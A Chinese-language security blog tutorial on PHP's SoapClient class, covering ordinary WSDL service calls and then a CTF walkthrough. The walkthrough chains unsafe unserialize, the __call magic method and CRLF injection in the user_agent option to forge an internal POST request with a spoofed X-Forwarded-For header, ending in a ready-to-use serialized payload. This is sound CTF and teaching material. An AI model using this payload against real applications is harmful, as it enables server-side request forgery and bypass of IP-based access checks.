freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SoapClient原生类在开发以及安全中利用
2021-08-27 16:54:00
所属地 湖南省

Soap模块的安装:

PHP使用SOAP协议调用接口,需要安装soap模块插件,在使用之前使用phpinfo()方法输出判断安装的PHP是否已安装了该插件。

image-20210824163948845

SoapClient原生类介绍:

SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。

SoapClient原生类官方介绍如下:

class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}

可以看到,根据以上代码,在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开发中的应用以及SoapClient在安全中的应用这两块。

SoapClient在开发中的应用

wsdl这参数之所以在开发中如此常用,是因为它能非常快速的调用现成接口。

用一个实例代码介绍一下wsdl参数:

<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);

$params = array(
"qqCode" => "1043045300"
);
$result = $client->qqCheckOnline($params);
print_r($result);
?>

执行结果如下:

stdClass Object
(
[qqCheckOnlineResult] => Y
)

其中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线

当然,也可以执行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法:

<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
print_r($client->__getTypes());
print_r($client->__getFunctions());
?>

执行结果如下:

Array
(
[0] => struct qqCheckOnline {
string qqCode;
}
[1] => struct qqCheckOnlineResponse {
string qqCheckOnlineResult;
}
)
Array
(
[0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
[1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
)

根据上方的两个例子,我们对SoapClient原生类应该有了部分了解。

但是由于SOAP协议本质上其实还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开发过程中,更有些接口对于请求的HTTP头也做一些校验限制,因此需要设置HTTP的请求头以适应需求。

有关设置HTTP请求头的下面的篇幅会讲到。

SoapClient在安全中的应用

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。

因此在CTF中通常会出现一种存在调用不存在的方法并且需要我们伪造请求头的题目。

这种时候,SoapClient正好可以给我们解决问题。

下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。

首先题目是给了flag.php的源码,源码如下:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

打开题目后,内容如下:

image-20210824153020672

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

我们先审计flag.php,前半部分是对XFF头进行了处理:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

explode()函数可以把字符串打散为数组。

array_pop()弹出并返回 array数组的最后一个单元,并将数组 array的长度减一。

这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个

假如我们有以下代码:

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
print_r($ip);

当我们XFF传入以下内容:

127.0.0.1						#返回:空
127.0.0.1,127.0.0.2 #返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2

接下来我们审计index.php的代码

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php

接下来,我们手动在本地做测试:

我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分:

<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));

$client->getFlag();

然后我们nc监听9999端口

nc -lvvp 9999

刷新页面之后,可以得到以下请求内容:

image-20210824160013461

仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的

但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded)

因此我们可以想办法伪造User-Agent头

修改后的代码如下:

<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

nc监听后,得到的结果如下:

image-20210824160732534

可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数

User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造

再次修改后的代码如下:

<?php
$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

代码中有几个注意的点

因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹

HTTP请求头之间的参数用一组\r\n分割即可

HTTP请求头与POSTDATA之间要用两个\r\n分割.

设置User-Agent时,应写成user_agent

同样的,nc监听后,结果如下:

image-20210824161613134

其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。

在本地测试完成了,接下来我们将相关参数修改与题目相对应。

修改后的payload如下:

<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

得到结果:

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后传入payload:

?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

这样flag就被写到了flag.txt中,访问之后即可拿到flag:

image-20210824163239193

但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。

不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。

实验名称Headers注入

# 渗透测试 # web安全 # 系统安全 # 数据安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录